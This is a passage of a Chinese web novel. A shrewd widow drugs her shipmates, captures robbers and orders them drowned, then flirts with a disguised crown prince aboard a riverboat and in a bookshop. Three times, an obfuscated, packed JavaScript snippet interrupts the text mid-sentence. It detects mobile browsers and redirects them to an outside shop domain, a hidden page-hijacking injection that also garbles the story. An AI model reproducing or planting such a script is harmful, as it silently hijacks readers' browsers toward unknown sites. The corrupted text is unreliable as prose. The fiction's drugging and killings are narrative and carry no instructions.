沈珏对着丰盛的菜肴和新开封的美酒,吃得眉开眼笑。 沈珏:“最近船上伙食还真是越来越好了!” 景珩则端坐一旁,慢条斯理地用着饭菜,目光扫过杯中清澈的酒液,又瞥了一眼主舱方向,眸色幽深。 他端起酒杯,置于鼻端,极轻地嗅了嗅。 很轻的剂量,若不是他从小便与这些药剂打交道,怕是他也会中招。 这位宋娘子,似乎也并非全然如先前所见那般,是个貌美草包。 景珩顿了顿,最后面不改色地一饮而尽。 饭后不久,沈珏便觉困意上涌,嘟囔着“这酒劲儿真大”,歪倒下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149153|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景珩脸上也多了几分倦色,以手支额,片刻后,伏案睡去。 青杏悄悄过来查看,见二人都已不省人事,这才回去禀报。 月色初上,江面波光粼粼。 另一边破旧货船上,灯火昏暗。 那斯文男子与几个心腹正在舱内密谋。 “大哥,那娘们看着就是个没甚见识的深闺寡妇,护卫也就那几个,我刚刚闻到那边飘来的酒味,估计这会儿都放倒了。”横肉汉子搓着手,一脸兴奋,“她那船看着就肥,咱们今晚就……” 斯文男子把玩着一枚扳指,眼中闪过同样的贪婪:“手脚干净点,值钱的拿走,至于那娘们儿,模样还行……也绑了带走,其余人……”他做了个抹脖子的手势,“做得像水匪劫掠。” 几人狞笑着,趁着夜色,摸黑上了船。 他们动作熟练,直奔主舱和货仓。 然而,刚踏上甲板,一股奇异的甜香便钻入鼻端。 领头之人尚未反应过来,便觉手脚发软,眼前发黑。 “不好!有诈!”他低吼一声,但为时已晚。 黑暗中立时冒出数条矫健身影,如鹰隼扑食,迅捷无比地将这几个摸上来的汉子摁倒在地,堵嘴捆绑,一气呵成。 看着地上八九个粽子,殷晚枝满意了,这才从阴影中缓步走出。 众人皆是又惊又惧。 那斯文男子此时哪还有白日的温文,双目圆瞪,满是不敢置信与惊怒,呜呜挣扎。 殷晚枝一巴掌扇他脸上:“往前数几年,姑奶奶我给别人下套子的时候,你们怕是还在江里摸鱼呢。黑吃黑吃到我头上?” 男人被打得偏过头,脸上火辣辣的疼,更多的是难以置信——这看起来娇滴滴的小寡妇,手劲儿怎这么大?! “唔!唔唔!”他挣扎着,眼中露出哀求。 护卫扯掉他口中的破布,斯文男人立刻涕泪横流,哭得情真意切:“娘子!娘子饶命啊!小的一时猪油蒙了心,全家就指着我跑船活命啊!求娘子大发慈悲,饶了小的狗命吧!我再也不敢了!” 这套话术他已是炉火纯青,专门用来哄骗那些心软的商妇。 毕竟他长相偏小白脸,哭起来也有几分姿色。 果不其然,他看见女人面上松动几分。 更卖力了。 殷晚枝听着,笑出声。 “怎么?”她慢悠悠地问,声音里带着几分玩味,“你也想跟我说,你家里有六十岁老母,三岁小妹?” 斯文男人一愣,没明白这话头,只一个劲儿磕头求饶。 殷晚枝却已失了耐心,站起身,拂了拂衣袖,淡淡吩咐:“去,把对面船上值钱的东西,全搬过来。手脚干净些。” 护卫:“是!” 今日还真是意外之财,就是不知肥不肥。 罢了,总比没有强。 浪费她那么多浮梦香,总得讨点利息回来。 她顿了顿,瞥了一眼地上瘫软的几人,补充道:“然后,把这些人丢回他们自己船上去。” 斯文男人闻言,眼底刚升起一丝希望。 却听那轻柔的声音继续道:“找个偏僻江段,把船底凿个洞,沉了。” 男人瞳孔骤缩,骇得魂飞魄散:“不——!!娘子!饶命啊!!!” 他们到底谁才是水匪啊! 殷晚枝垂眸看他,扬起笑,伸手拍了拍这人的脸,这一笑在月下竟显出几分艳色,像是勾魂夺魄的妖精,她遗憾道:“遇上我,算你倒霉。” 下辈子长点记性。 - 客舱窗边,景珩将这一切尽收眼底。 看着那女子轻描淡写地下令搬空人家、凿船沉人,行云流水,比真正的土匪还熟练三分。 看着她扇人耳光时那利落狠劲儿,听着她调侃“六十老母三岁小妹”时那戏谑语气…… 景珩先是沉默,随即,竟低低地、从胸腔里逸出一声极轻的嗤笑。 气笑了。 他这回,可真是彻头彻尾地看走了眼。 哪是什么空有美貌、心思浅薄的孀妇? 这分明是只牙尖爪利、心狠手辣、还会披着羊皮演戏的狐狸精。 他看着她月下那抹窈窕却透着凛冽寒意的身影,眸色深暗如夜。 今晚这场戏还真是有意思。 7. 弄死 护卫将东西抬上甲板,一一清点。 除了那部分作饵的“醉春风”,便是些寻常金银器皿,值钱但不算稀奇。 直到撬开最底下几口钉得严实的木箱—— 月光下,细如雪沙的物事暴露出来,在夜色中泛着洁白的光泽。 殷晚枝气笑了。 还以为是什么好东西,没想到竟然是盐!还是私盐。 她望向对面那艘已被凿沉、只剩零星碎木漂浮的破船方向,唇角抿成一条直线。 真是……晦气! 原本以为就是个普通黑吃黑,竟吃出这么大个烫手山芋。 这东西扔了可惜,但留在手上终究是祸害,她沉吟片刻,低声吩咐心腹几句。 护卫领命,迅速将几箱私盐重新封好,从江心沉了下去。 处理干净,她这才揉了揉眉心。 出来一趟还真是什么都赶上了。 看来她得抓紧点,快点把人弄到手,然后打道回府,过自己的安生日子。 因着怕被人盯上,天蒙蒙亮的时候,货船就再度启程了。 速度开到最快,朝宁州的方向去。 好在这次顺风顺水,路上再无其他意外。 只是一晚上忙碌,早起时,殷晚枝揽镜梳妆还是发现自己眼下一片乌青。 她思索一番,直接顶着这张脸去了账房。 楚楚可怜的样子,多让人心疼。 可不能浪费了。 - 船上早已收拾得一切如常,只甲板角落残留了几处被刀划乱的凌乱痕迹,暂时无法修补。 沈珏揉着发胀的太阳穴出来,一眼便瞧见了,挠头问正在擦拭甲板的护卫:“这是……?” 护卫面不改色,语气平淡:“昨夜有几个不长眼的小毛贼摸上船,已被打发了。小郎君睡得好,就没惊动。” 沈珏顿时赧然,一张脸涨得通红:“原、原来如此……惭愧惭愧!昨夜那酒也不知怎的,劲儿忒大,我喝完便不省人事,后半夜本该我巡值,竟还累得诸位替我……” 他越想越不好意思,连连拱手。 一旁路过的青杏抿嘴偷笑,快步走开了。 账房内,殷晚枝今日依旧抱着账本来学习。 只是人瞧着有些蔫蔫的,眼下透着一圈淡淡的青黑,连那身特意换上的衣裙都衬不出往日的鲜活。 景珩端坐案后,目光落在账册上,心思却全在对面这女人身上。 他不动声色地观察,想看这位“宋娘子”今日又打算演哪一出。 眼见她抬手揉了揉额角,精神不济的模样,景珩指尖在算珠上顿了顿,终是淡淡开口:“宋娘子面色似有倦意,昨夜……未曾安眠?” 殷晚枝闻言,抬眸望他,那双惯常含笑的眸子此刻雾蒙蒙的,明显带着几分后怕:“让先生见笑了……实在是一路风波,这一路先是船被撞,后又被人逼着腾地方,昨夜甚至有小贼摸上船……虽是有惊无险,但我一介弱质女流,夫君去后独力支撑,本就如履薄冰,接连受惊,心中实在难安,一夜辗转……” 景珩静静听着,心下漠然。 若昨夜没亲眼见她扇人耳光、下令沉船时那股狠劲儿,单看此刻这副楚楚可怜的模样,他或许真会信了“世道艰难,女子自保不易”那套说辞。 他合上册子,语气没什么波澜:“既如此,宋娘子不如回房休息。” 殷晚枝被他一噎。 这人,真是擅长把天聊死。 她装作没听见,干脆跳过这茬,抬起水眸怯怯望他,声音放得又轻又软:“不过说来也怪,不知为何,总觉得萧先生瞧着面善,让人忍不住想亲近些,有先生在旁,我的心里都安稳几分。” 想亲近他? 景珩眉头几不可察一跳。 这话近乎调情,她竟能如此自然地说出口。 不知礼数,直白得甚至有些粗鄙。 “萧先生?”殷晚枝见他沉默,心下疑惑,她今天可是收敛了,手都没乱碰,话也守着分寸,难不成还能吓着他? 那也太不经事了。 一抬头,正对上他眼中那复杂的,仿佛在掂量什么危险物品的眼神。 殷晚枝:? 景珩见她看来,心下更凛。 这女人,贼心不死。 但不得不承认,她这张脸生得极好,眉眼秾丽,此刻刻意放软姿态,的确有几分蛊惑人心的意味。 人在面对从未见过的、难以归类的事物时,总会多几分探究欲。 景珩此刻便是如此。 他对这位宋娘子并非毫无怀疑,她昨夜处理那批私盐贩子时,反应迅速,下手果决,事后又急于抹去痕迹,明显是怕惹麻烦上身,即便她与漕运盐案无关,也定然对这些相当熟悉,说不定可以从她身上打探点什么。 而且,她似乎对他格外感兴趣。 她,喜欢他? 景珩对此毫无感觉。 从前对他示好的人太多,或因权势,或因皮囊,或因种种算计。 她呢?图什么? 他目光对上她那双此刻盛满“仰慕”的眼眸,答案显而易见——皮囊。 俗。 景珩向来不屑于这等迂回试探、男女伎俩,按他往常作风,直接扣下审问便是最干脆利落的选择。 只是,如今势单力薄,硬来未必占优,还可能打草惊蛇。 不如……将计就计,眼下虚与委蛇,与她周旋,既能稳住这变数,或许还能套出些线索。 待亲卫一到,再行处置不迟。 景珩心中千回百转,面上却未曾显露分毫,只微微垂眸,避开她过于灼热的视线。 等打定主意,他声音依旧平淡,却少了点昨日的冷硬:“宋娘子才是真的面善之人,萧某不过一介寒儒。” “萧先生太谦逊了。” 殷晚枝原以为今日又是白费功夫,却没料到这硬石头的态度竟有了微妙松动。 生意人最擅长的便是得寸进尺,以及……脸皮厚。 她起身去斟茶,端回来时,不经意将茶盏递出,指尖似有若无地,极轻地勾蹭了一下他的掌心。 温热的触感一掠而过。 景珩身体几不可察地僵了一瞬,却没有立刻抽手或避开,只是接过了茶盏,指节微微收紧。 默许。 殷晚枝心中瞬间雀跃,像只偷到腥的猫。 她强压下嘴角的笑意,坐回原位,状若无事地翻开账本,眼角余光却悄悄打量着对面男人微微泛红的耳廓。 不知是气的还是羞的,不管怎样。 有门儿。 接下来的日子,殷晚枝便将“得寸进尺”四字发挥得淋漓尽致。 景珩原本以为能按对付官场上那些老狐狸的手段来对付这女人,但他很快发现,官场和情场大不相同! 这女人的试探如潮水般,虽不至汹涌,却无孔不入,且毫无规律。 而且这人似乎总能在他,一忍再忍,即将发作的前一秒变回正经样。 景珩一口气不上不下。 他自小被严苛古板的帝师教导长大,幼时便被要求克己复礼,勤勉政务,对女色敬而远之。 学识权谋他游刃有余,可这种直白又缠人的招数,他是头回见。 几天下来竟有些麻木,甚至被迫习惯。 他试图探查消息,却发现这人滑不溜秋,滴水不漏。 在这点上,她确实和朝堂上那群老狐狸有得一拼。 然而—— 这一切殷晚枝毫无所知。 因为……她根本没往那方面想! 她满心满眼都是,这人真好看,如何尽快把人哄上床? 至于景珩那些关于江宁风尚、盐产地、乃至某些账目细节的试探,在她听来,要么是书生掉书袋,要么是……嗯,或许他是在找话题与她多聊会儿? 毕竟,他这张脸,越看越合她心意。 眉眼清冷如画,鼻梁挺直,薄唇轻抿时有种禁欲的诱惑,偶尔被她逗得耳根泛红又强自镇定的模样,更是让她心痒难耐。 她心里小算盘打的噼里啪啦:今天摸手,明天是不是就能靠肩?后天……嘿嘿。 于是,殷晚枝每天更加卖力胡言乱语,随机应变。 答不上来的,便眨着无辜的眼反问:“先生懂得真多,可是游学时见识的?” 被问急了,便颊飞红霞,似嗔似羞:“先生总考我这些,莫非是嫌我笨,不愿与我多说话了?” 她将仰慕才学,贪恋美色,且脑子不太灵光的貌美孀妇演得入木三分。 一来二去,景珩竟有些难以判断。 甚至怀疑,当初那晚上的一切是不是真实发生的。 这女子究竟是心机深沉到毫无破绽,还是真的……目的单纯,只是好他这口皮囊? 后一个念头让他眼角微抽,心下莫名有些不是滋味。 因着景珩态度缓和,殷晚枝找他的理由也花样百出起来。 从“请教账目”发展到“舱内烦闷,想听先生讲讲沿途风物”,再到“品鉴好茶”…… 不过几日功夫,殷晚枝已将这男人的底线摸得七七八八。 她像只狡黠的猫,每天精准地踩在他的容忍边缘,甚至伸出爪子,试探性地挠一挠。 同时,她也没忘了“根本大计”,私下吩咐青杏:“给萧先生的滋补汤膳,分量可以再添些了。” 青杏红着脸应下。 于是,景珩每日不仅要应付殷晚枝越发大胆的“无意”触碰,还得应对身体越发不对劲的躁意,夜里辗转难眠。 起初他疑心是中了什么慢毒,或是饭菜有异。 可他自幼对毒物极其敏感,反复查验,甚至银针试毒,皆无所获。 饭菜只是比寻常精致滋补些,并无毒性。 只能归结于江南水汽湿重,厨娘多用温补之物驱寒,自己……或许是不太适应。 景珩忍了又忍,胸腔里那股无名火越烧越旺。 他开始觉得,自己最初那个“虚与委蛇、探查线索”的决定,简直错得离谱。 这哪里是探查线索?分明是把自己送到了这色胆包天的女人嘴边! 他一遍遍告诉自己:虚与委蛇,探查线索,亲卫将至……才勉强压下将那女人拎出去扔进江里的冲动。 而这其中的惊涛骇浪,殷晚枝同样不知晓。 她只当这书生是脸皮薄,别扭害羞罢了。 …… 这日午后,账房内只余二人。 阳光透过窗棂,懒洋洋地铺了一地,连空气里的微尘都显得慵懒。 殷晚枝正指着账册上一处,身子几乎半倚在书案边,为求近些,袖口滑落,一截雪白的腕子就那么明晃晃地横在深色纸页上。 “先生,此处往来款项,我总觉着有些模糊……”她声音放得又轻又软,指尖似无意地在纸面上慢悠悠划着,带着点不自觉的勾缠意味。 景珩的目光起初还勉强跟随着她的指尖移动,试图解析那串数字。 可那截腕骨太过莹润,阳光几乎要穿透过去,晃得人心浮气躁。 他强迫自己凝神,嗓音却莫名有些发紧:“此处……或需核验原始货单,看是否分批计入,或有损耗未……” 话音未落。 男人浑身骤然僵住,如石雕般定在原地。 一只温热、柔腻、带着薄薄香气的纤手,竟隔着夏日单薄的布衫,毫无预兆地按在了他的腿上。 位置不远不近,恰是极其敏感处。 掌心传来的热度惊人,指尖甚至还无知无觉般,轻轻蹭动一下。 轰——! 一股陌生的、汹涌的、完全不受控制的燥热,如同被点燃的野火,瞬间从被触碰的那一点炸开。 沿着血脉疯狂窜向四肢百骸,最后重重冲撞向某个难以启齿的隐秘之处。 景珩的呼吸骤然停滞,握着笔的手指关节因为用力而泛出青白。 他能清晰地感觉到自己血液奔流的声音,以及那处不受控的、令人羞耻的微弱变化。 杀意! 从未有过的凛冽杀意,混着被冒犯的震怒与一丝罕见的慌乱,瞬间攫住了他。 他几乎要立刻反手拧断那只胆大包天的手腕,将这个不知死活的女人直接掐死在这里! 可残存的理智在最后关头控制住了他,忍了这么久,若此时发作,岂非前功尽弃? 两种极端情绪在他体内疯狂撕扯,让他清俊的面容冷得几乎结冰,眼底却翻涌着骇人的暗流。 殷晚枝终于察觉到了不对。 头顶落下的目光太过骇人。 她抬头,对上景珩的眼睛,那里面翻滚的寒意让她心头一跳,按在他腿上的手下意识就想缩回。 就在她指尖将离未离的刹那,景珩动了。 他猛地抬手,却不是如她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149154|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所料那般推开,而是一把攥住了她的手腕! 力道之大,让她痛得轻嘶一声。 他的手掌滚烫,指尖却冰凉,紧紧箍着她,不容她逃脱。 四目相对,呼吸可闻。 他的声音是从紧咬的牙关里挤出来的,低哑得可怕,带着一种风雨欲来的压抑:“宋娘子,坐稳些。船……晃。” 殷晚枝手腕生疼,心跳如鼓,却在他这从未有过的、极具侵略性的禁锢与逼视下,诡异地生出一股战栗的兴奋。 真不经逗。 反应比她预想的还要大。 她非但没退缩,反而仰起脸,带着点委屈和无辜:“抱歉,我不是故意的……先生抓得我好疼。” 景珩没再说话,只是深深看了她一眼,那眼神阴沉得简直要杀人。 然后,他松开了手,重新将目光投向摊开的账册,下颌线绷得死紧,仿佛刚才紧绷的触碰与对峙从未发生。 唯有他自己知道,袍袖之下,紧握的掌心几乎被掐出血。 腿侧被她触碰过的地方,那点残留又滚烫的麻痒感,正如同跗骨之蛆,沿着脊椎攀升,灼烧着他的理智。 他一定要弄死这女人。 迟早。 - 船抵宁州时,已是两日后。 宁州不愧为南北水路枢纽,码头规模远非湖州与白苇渡可比,千帆林立,人声鼎沸,喧嚣得几乎要将江水煮沸。 自从那次摸腿事件后,这位萧先生再见她总是黑着一张脸,甚至还带着点愠怒。 殷晚枝当时确实不是故意的,因为,她是有意的,毕竟,有一就有二,界限就是用来打破的。 这就叫,不破不立。 她早知道这人会生气,只是没想到气性这么大。 起初还心虚,毕竟是她撩拨在先。 可几天下来,见他这副仿佛被玷污了清白的贞洁烈男模样,她心里那点歉意也散了个干净,反而生出几分啼笑皆非的荒谬感——不就是隔着衣服摸了下腿吗?至于吗? 瞧那架势,不知道的还以为她真把他怎么着了呢! 两人间紧绷的氛围就连沈珏都有所察觉,经常是欲言又止。 沈珏这些日子倒是与船上众人混熟了。 他性子活泼,又没架子,很快便跟护卫们称兄道弟,早上甚至还跟着一起晨练。 青杏也跟他熟络起来,偶尔还会笑他动作笨拙。 这日晨练后,沈珏搬货箱时没留神,腋下衣料被木刺勾破了个大口子,露出底下结实的胸膛和一小片紧实的肌肉。 他浑然不觉,还在那儿傻乐。 殷晚枝正巧路过,目光无意间扫过,脚步微顿。 哟,还真没看出来。 这小子瞧着跳脱,身板倒练得不错,肌肉线条流畅,充满了少年人特有的蓬勃力量感。 她向来……嗯,欣赏一切美好的事物,包括好看的躯体。 目光不由在那片小麦色的肌肤上多停留了一瞬,甚至指尖有点发痒,想上手戳戳,试试手感。 沈珏一转头,正撞上她毫不掩饰的打量目光,脸“腾”地一下就红了,手忙脚乱地想去捂那破洞,却越捂越露,急得耳朵尖都充血了:“宋、宋娘子!” 殷晚枝被他这纯情模样逗乐了,恶趣味上头,非但没移开眼,反而走近两步,笑盈盈道:“慌什么?男孩子家,有点肌肉是好事,遮遮掩掩的做什么?”她声音带着戏谑,眼波流转,像逗弄小动物。 沈珏被她看得浑身不自在,脸红得能滴血,话都说不利索了:“我、我……” 看着他这手足无措的样子,殷晚枝忽然想起,很久以前,她似乎也有个黏人的小弟,如果顺利长大,大概……也有这么高了吧? 心头微软,那点逗弄的心思淡去,多了几分柔和。 “以后别总‘宋娘子’‘宋娘子’的叫了,听着生分。”她语气随意,“叫我杳杳姐吧。” 沈珏愣了愣,看着眼前美人温软带笑的模样,心跳得更乱,胡乱点头:“……杳、杳杳姐。” 他犹豫了一下,还是压低声音,飞快地说道:“杳杳姐,我表哥他……性子是冷了些,最不喜女子靠近纠缠。若是他说了什么不中听的话,您千万别往心里去,他不是针对您,只是……只是……” 他憋了半天,也没“只是”出个所以然,急得抓耳挠腮。 殷晚枝听着他这笨拙的解释,心中好笑又有些微暖。 她目光不经意掠过他身后半开的舱门,恰好对上里面景珩投来的视线。 那眼神深不见底,看不出情绪。 她冲舱内嫣然一笑,景珩却已面无表情地别开了脸。 啧,还在生气。 殷晚枝端着准备好的糕点走进账房,景珩正低头写着什么,连眼皮都没抬一下。 “萧先生,用些点心吧,宁州特色的酥油饼。”她将碟子轻轻放在他手边。 没反应。 殷晚枝有点头疼。 这男人,气性也太大了点,真难哄。 她目光落在他身上那件洗得发白,袖口甚至有些磨损的布衫上,心中忽然有了主意。 “对了,萧先生。”她声音轻快起来,“既到了宁州,我打算明日去城里逛逛,采买些东西。船上伙食虽好,总吃也腻味,正好换换口味,也添置些衣物用品。”她顿了顿,状似无意地补充,“我看子安弟弟的衣服都勾破了,也该给他置办两身新的。” 景珩笔下未停,仿佛没听见。 殷晚枝以为他依旧不感兴趣,便道:“先生若喜静,在船上歇息也好。我带着子安去便是。” 笔尖终于顿住。 景珩抬起头,目光平静地看向她,那双深眸里看不出喜怒,只淡淡道:“我并未说不去。” 殷晚枝微怔,随即眼底漫上真切的笑意,如春花初绽:“那便说定了。” 她转身离开时,裙裾划过一道轻盈的弧度。 景珩的目光追随着她的背影,直到珠帘落下,隔绝了视线。 他重新低头看向账册,却半晌没有落笔。 眼前似乎还残留着她方才笑起来时,那双漂亮又多情的眼睛。 亮晶晶的,盛着光,轻易就能搅乱一池静水。 她似乎对谁都这么笑。 对沈珏,对船工,甚至对码头上来搭讪的陌生商贩…… 心头那股莫名的烦躁又涌了上来,比之前更甚。 8. 促狭(修)【增500字】 宁州城果然相当繁华。 青石板路两侧,人流如织,叫卖声、吆喝声、讨价还价声混杂着食物的香气。 活脱脱一幅活色生香的江南市井图。 沈珏像是被放出笼的鸟,东看看西摸摸,糖画摊子前能站半响,捏面人的手艺也能引得他啧啧称奇,在船上拘了这些日子,难得脚踏实地,他看什么都觉得有趣。 此时正是三月早春,日光洒在人身上暖意融融。 殷晚枝不想惹人注意,戴了顶及腰的帷帽,白纱覆面,将她整个人遮得严严实实。 说是采买,实际上她打的是换个新鲜环境,拉近关系的算盘。 因而并未带多少人,就连青杏都被她用需要采办些女眷用品的借口支开,远远跟在后面。 一路上,殷晚枝时不时和沈珏搭话,她想着和沈珏把关系搞好点,就算不是助力,也至少不是阻力。 几人先是去了宁州最大的布庄。 殷晚枝给沈珏挑了两身短打,料子结实耐磨。 沈珏乐呵呵地试穿,还特意在殷晚枝面前转了个圈:“杳杳姐,你看还行吗?” “挺好,精神。”殷晚枝笑着点头,目光却不由自主飘向一旁静立的景珩。 他今日还是那身半旧布衫,站在光鲜的铺子里,显得格格不入,可那份清冷孤直的气质,反倒把满屋绫罗绸缎都比了下去。 只是,脸色算不得好,也不说话。 “萧先生也挑一身吧?”她走近,指尖拂过一匹月白的缎子,“这料子舒服,颜色也衬你。” 景珩瞥她一眼,脸上松动几分:“不必破费。” “这算什么破费。”殷晚枝不由分说地让伙计量尺寸,“出门在外,总要有替换的。先生帮我理账辛苦,这就当是……额外的谢礼。” 她话说得自然,没给人拒绝的余地。 景珩看着她明亮的眼睛,到嘴边的拒绝又咽了回去,只低低“嗯”了一声。 总归是为了维持书生人设,不必过于执拗。 量尺寸时,伙计拉软尺环过他肩背腰身,景珩眉头微蹙,却忍着没动。 殷晚枝在一旁饶有兴致地瞧着,伙计每报一个数字,她就在心里默记。 肩宽,腰窄,腿长……啧,果然是穿衣显瘦,脱衣……嗯,有待考证。 她吩咐得很是细致:“腰身这里需留些余地,读书人久坐肩背要稍宽,袖长尤其要注意,莫要短了,行动间局促不好看……” 那熟稔的语气,自然的关切,绝非第一次为男子张罗衣裳。 景珩目光微沉。 她对男子衣裳的尺寸细节……倒是了如指掌。 也是,她从前是有丈夫的。 这时,沈珏也凑了过来,一下横在了两人中间。 他拎起一匹颜色鲜亮的宝蓝锦缎,兴冲冲道:“表哥,你看这个,多精神!配你肯定好看!杳杳姐,你说是不是。” 只是一瞬,景珩眼前景象便被一块鲜亮的布匹占据。 他皱眉,耳边全是沈珏聒噪吵闹的声音。 那一声声“杳杳姐”扰得他心神不宁。 “轻浮。” 沈珏:“?”这颜色轻浮吗? 他悻悻放下,又拿起另一匹鸦青的:“这个呢?沉稳!” “俗气。” “那这个竹青的?” 沈珏不屈不挠。 “素。” 沈珏:“……” 太子表哥还真是够挑剔,他看着眼前的布匹,左右为难。 只能向殷晚枝投去求助的目光。 殷晚枝好笑这两兄弟还真是一个冷如冰,一个又像团火,她目光流转,落在一旁一匹沉静的湖蓝色缎子上,光泽如水。 “这件湖蓝呢?”她指尖轻点,“清雅不失鲜活,很衬先生肤色。” 景珩唇线抿紧,目光在那缎子上停留一瞬,又扫过她含着笑意的眼,喉结微动。 “……尚可。” 沈珏:“?” 湖蓝就尚可,宝蓝就轻浮? 太子表哥这评判标准是随心情变的吗? …… 出了布庄,殷晚枝又去采买些日常之物和特色吃食。 扫荡完了一整圈,买的东西身后护卫都拿不下了,于是让沈珏跟着护卫先将东西运了一部分回去。 路过一家书肆时,景珩目光原本掠过,却在瞥见上面图案时猛地顿住。 垂落的装饰横布上,印着一株熟悉的九叶兰草。 九叶兰草是他与亲卫的独特联系方式,无特殊情况都不会使用,看来靖王这次确实是下了血本,恨不得让他死在江南,再回不去皇城。 景珩眸中闪过一抹狠戾。 殷晚枝以为他是想买书,便道:“先生若有想买的书,进去看看?我正好也瞧瞧有没有新的话本子。” 他低低嗯了声,跟在女人身后。 书肆内光线略显幽暗,墨香与旧纸气息浓郁,书架排布在中间隔出不少私密空格,看着很是静谧。 虽然收到了消息,但景珩并不打算轻举妄动,这次引蛇出洞就是为了将其一网打尽,现在看来,那边已经彻底坐不住了。 既如此,不如再等等。 景珩看着在店里东挑西逛的殷晚枝,决定也做做样子,他走向摆放经史子集的那排书架,最终抽出一本《江南水道考》翻看起来。 船行无聊,这些书确实能解闷,也能增广见闻。 殷晚枝施施然晃到了另一侧标着“传奇话本”的区域。 书架上的书册花花绿绿,她随手拿起一本装帧还算精美的,翻开,才看了两页,便轻轻“咦”了一声。 “先生你看,”她凑到景珩身边,指着手中话本里的一幅插图,声音压低,带着点俏皮,“这书生,倒有几分像你。” 那插图画的是个夜读的书生,侧影清瘦,眉眼模糊,但那股子孤冷劲儿,还真有两分神似。 景珩低头看去,女人挨他极近,发间淡淡的桂花头油香气混合着她身上的暖香,丝丝缕缕萦绕过来。 书页上,她指尖点着的地方,离他握着书卷的手不过寸余。 景珩没接话,只将目光移回自己手中那本《江南水道考》。 这段时间和这位宋娘子相处下来,他非但没抓到她的漏洞,反倒被她一遍遍试探边界,无论他说什么,她总是能不动神色将话题拉回他身上。 称得上一句……心机深沉。 他目光微沉。 殷晚枝却不放过他,又翻了一页,指着另一幅图笑道:“这狐狸精缠上书生的故事,倒是经久不衰。先生你说,是书生道心坚定,还是狐狸精手段不够?” 这话意有所指。 景珩终于抬眼看她,隔着两层轻纱,他看不清她全部神情,却能清晰地感受到那目光里的灼热与戏谑。 他冷冷道:“子不语怪力乱神。这等杂书,娘子还是少看为妙,免得移了性情。” “哦?”殷晚枝挑眉,眼波流转,“那先生觉得,我该看什么书?《女诫》?《列女传》?”她凑得更近些,声音压得只剩气音,带着钩子,“可我觉得……狐狸精也没什么不好,至少,活得痛快。” 她呼吸几乎贴上他,就连呼吸都带着一阵甜香。 勾引人的手段极其熟练……甚至直白大胆。 不知羞!这人还真是时不时就从柔弱面具里露出一截色胆包天的真实面貌! 景珩脸色一黑,猛地后退一步:“娘子,在外还请自重。” 他声音带上了冰碴。 那点想要虚与委蛇的心思几乎消磨干净,想起先前种种,他心下冷笑,到时若与亲卫汇合,定叫这肖想他的孀妇好看! 殷晚枝不知他心中所想,但是听见那句“自重”,心里直翻白眼,连日被冷待的不爽冒了头。 但,现在是她有所图谋,她忍。 等哄上床怀了孩子,再把人踹了。 殷晚枝嘴角扯出一抹笑,受伤道:“……是我失言了。” 就在这时,一直在柜台后笑眯眯打量二人的中年店主,见这女客失魂落魄将手中话本子放了回去,生意要黄,忙不迭上前。 他挤眉弄眼冲殷晚枝小声道:“娘子是不喜欢这个话本吗?小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149155|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里东西齐全得很,您要不再看看那边……都配着‘详解图谱’,保管您看了就懂,学了就会,比那干巴巴的文字有趣多了!” 他朝书架最里头瞄了瞄。 殷晚枝顺着他的目光瞥了一眼那排封面更加花哨的册子,眼前一亮。 只一眼,她就知道,这店老板多半是将他们两人认做闹矛盾的小夫妻了。 毕竟,凭她多年看话本子的经验判断……那堆书估计都不是什么正经册子。 简而言之,小黄书啊! 店老板见她露出了然神色,满意的笑了。 他就知道自己做了这么多年的生意不是白做的,瞧,将客人的心思摸得准准的。 殷晚枝过去看了眼,好家伙,最里面满满当当两大柜子的精品! 立时,一个大胆又促狭的念头猛地窜了上来。 “是吗?那我可得好好挑挑。” 她声音恢复了正常,甚至带上了点兴致。 指尖飞快地掠过那些书脊,专挑封面最艳俗、书名最露骨的几本,什么《鸳鸯秘戏谱》、《巫山云雨图》、《春宵百趣》…… 尽拣着能震碎正经书生三观的拿。 景珩选定了那本《江南水道考》,也走了过来,见殷晚枝已挑好一摞书,最上面是《漱玉词》和《南行散记》,瞧着倒还正常。 “一起结吧。”他冷着脸,拿出钱袋。 殷晚枝帷帽下的眉梢高高挑起,故意推辞:“这怎么好意思……” “无妨。”景珩已将银钱递给老板。 老板笑得见牙不见眼,利落地包好书册,还用上好的青布书衣妥帖裹好,递给景珩。 景珩接过,入手略沉,只当是那几本诗词游记用纸讲究,并未多想。 殷晚枝则“乖巧”地跟在他身后出了书肆,面纱下的唇角弯起一抹得逞的笑意。 回程路上,她依旧话少,安静地走在前面。 景珩走在她身侧稍后,手中提着那包书,余光能瞥见她轻纱下似乎依旧轻抿的唇和低垂的眉眼。 心头那股说不清道不明的烦躁又升腾起来,像羽毛搔刮,不疼,却扰人得很。 